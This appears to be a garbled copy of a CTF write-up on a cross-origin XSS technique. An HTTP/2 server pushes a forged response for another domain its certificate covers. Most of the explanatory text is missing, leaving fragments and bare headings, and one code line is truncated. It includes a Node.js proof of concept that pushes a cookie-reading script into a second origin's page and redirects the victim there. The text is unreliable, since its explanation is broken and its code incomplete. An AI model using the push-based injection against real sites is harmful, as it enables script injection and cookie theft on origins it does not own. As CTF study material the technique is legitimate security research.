A Magic Way of XSS in HTTP/2

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Content (original)

The source's own words. An English translation of this document is archived beside it as `tttang-com-magic-way-xss-http-2_translate.md` *.*

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corCTF HTTP/2 Server Push XSS Magic @ehhthing

[TL;DR]()

HTTP/2 Server HTTP/2 Server Push HTTP/2 Global XSS

-
- HTTP/2: Server HTTP/2
-

[HTTP/2 && Server Push]()

Server Push HTTP/2 HTTP/2 Server Push

[Background]()

HTTP HTTP/1.1 Web Web HTTP/1.1 Pipline Headers TCP

HTTP/2 1997 HTTP/1.1 IETF HTTP
(Server Push)

[Browsing in HTTP/1.x]()

Server Push Web

- index.html index.html
- html DOM CSS/GIF/JS
- CSS/GIF/JS
- JS CSS

[image: Pic From https://www.smashingmagazine.com/2017/04/guide-http2-server-push/]

Web HTTP
CSS
HTTP Base64 URI preload

HTTP
HTTP

[What Server Push is]()

>

HTTP/2 Server Push allows an HTTP/2-compliant server to send resources to an HTTP/2-compliant client before the client requests them. Server Push is a performance technique aimed at reducing latency by loading resources preemptively, even before the client knows they will be needed.

HTTP/2 Server Push is not a notification mechanism from server to client. Instead, pushed resources are used by the client when it may have otherwise produced a request to get the resource anyway.

HTTP/2 HTTP/2 HTTP/2

index.html index.html/style.css/example.png HTTP

HTTP/2

[How it works]()

Server Push

- index.html index.html
- styles.css styles.css styles.css
- index.html/styles.css DOM

[image: https://www.smashingmagazine.com/2017/04/guide-http2-server-push/]

“ ” Nginx Nginx `http2_push`

```
server {
    listen 443 ssl http2;
    server_name _;
    ssl_certificate /parth/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    root /var/www/html/;

    http2_push /styles.css;
    location = / {
        index index.html;
    }
}
```

HTTP/2 Push index.html " " styless.css

- Stream ID 1 index.html HEADERS “ ” styles.css styles.css
- Stream ID 1 styles.css PUSH_PROMISE
- Stream ID 1 HEADERS index.html
- index.html DATA Stream ID 1
- HEADERS 2 styles.css HEADERS[2]/DATA[2]

[[image: v8xkwV.png]](https://imgtu.com/i/v8xkwV)

index.html Chrome push

```
<head><link rel="icon" href="data:,"><link rel="stylesheet" href="styles.css"></head>
This is push index
```

[Where the bug is]()

Push CSS/JS

HTTP/2 Push

HTTP/2 push is tougher than I thought

> As the owners of developers.google.com/web, we could get our server to push a response containing whatever we wanted for android.com, and set it to cache for a year. A simple fetch would be enough to drag that in the HTTP cache. Then, if our visitors went to android.com, they'd see "NATIVE SUX – PWA RULEZ" in large pink comic sans, or whatever we wanted.

Of course, we wouldn't do that, we love Android. I'm just saying... Android: if you mess with the web, we'll fuck you up.

Ok ok, I jest, but the above actually works. You can't push assets for *any origin*, but you can push assets for origins which your connection is "authoritative" for.

If you look at the certificate for developers.google.com, you can see it's authoritative for all sorts of Google origins, including android.com.

HTTP/2 RFC 7540#Section-8.2

>

The server MUST include a value in the ":authority" pseudo-header field for which the server is authoritative (see Section 10.1). A client MUST treat a PUSH_PROMISE for which the server is not authoritative as a stream error (Section 5.4.2) of type PROTOCOL_ERROR.

HTTP/2 relies on the HTTP/1.1 definition of authority for determining whether a server is authoritative in providing a given response (see [RFC7230], Section 9.1). This relies on local name resolution for the "http" URI scheme and the authenticated server identity for the "https" scheme (see [RFC2818], Section 3).

RFC Push Push `:authority` (any) `:authority`

Let's try!

mkcert

```
mkcert -key-file key.pem -cert-file cert.pem a.zedd.ovo b.zedd.ovo
```

nodejs HTTP/2

```
const http2 = require("http2");
const path = require("path");
const fs = require("fs");

const { HTTP2_HEADER_PATH, HTTP2_HEADER_AUTHORITY } = http2.constants;

const MAIL_DOMAIN = "b.zedd.ovo";
const EXPLOIT_DOMAIN = "a.zedd.ovo";

const server = http2.createSecureServer(
  {
    cert: fs.readFileSync(path.join(__dirname, "cert.pem")),
    key: fs.readFileSync(path.join(__dirname, "key.pem")),
    origins: [`https://${EXPLOIT_DOMAIN}`, `https://${MAIL_DOMAIN}`],
  },
  (req, res) => {
    if (req.url === "/") {
      res.end("This is the HTTP/2 Server\n");
    } else if (req.url === "/set") {
      res.setHeader("Set-Cookie", `mycookie=test; domain=${MAIL_DOMAIN}; path=/; expires=${new Date(Date.now()
      res.end("Set cookie: mycookie=test\n");
    } else if (req.url === "/csp") {
      res.setHeader("Content-Security-Policy", "default-src 'self'");
      res.end("Set CSP\n");
    } else if (req.url === "/push") {
      res.stream.pushStream(
        {
          [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN,
          [HTTP2_HEADER_PATH]: "/",
        },
        (err, pushStream, headers) => {
          console.log("push");
          pushStream.on("error", console.error);

          let content = "<script>alert(document.cookie);</script>";

          pushStream.respond({
            "content-length": content.length,
            "content-type": "text/html",
          });

          pushStream.end(content);
        }
      );
```

```
        let content = `<meta http-equiv="refresh" content="1;url=https://${MAIL_DOMAIN}/" />`;

        res.stream.respond({
          "content-length": content.length,
          "content-type": "text/html",
        });
        res.stream.end(content);
      }
    }
);

server.listen(443);
```

[HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN

- https://b.zedd.ovo/set b cookie
- https://a.zedd.ovo/push Push b
- X

[[image: vGEiIs.gif]](https://imgtu.com/i/vGEiIs)

GIF https://s1.ax1x.com/2022/08/11/vGEiIs.gif

a.zedd.ovo b.zedd.ovo

- https://b.zedd.ovo/set cookie a.zedd.ovo b cookie
- https://a.zedd.ovo/push HTTP/2 Push b a refresh b a push :authority b b
- b push :authority

[Summary]()

Magic

- CSP CSP
-
- HTTP/2 Server Push
- HTTP/2 Server Push CDN Server Push
- Server Push
- Chrome HTTP/2 Server Push Intent to Remove: HTTP/2 and gQUIC server push

XSS Push ~

CTF XSS HTTP/2 Push
CTF Funny Web CTF : https://t.zsxq.com/047y7iAuf

Thanks @ehhthing for his amazing challenges!

[References]()

RFC7540

HTTP/2 push is tougher than I thought

Introduction to HTTP/2

A Comprehensive Guide To HTTP/2 Server Push

HTTP/2 Server Push

HTTP/2 Server Push

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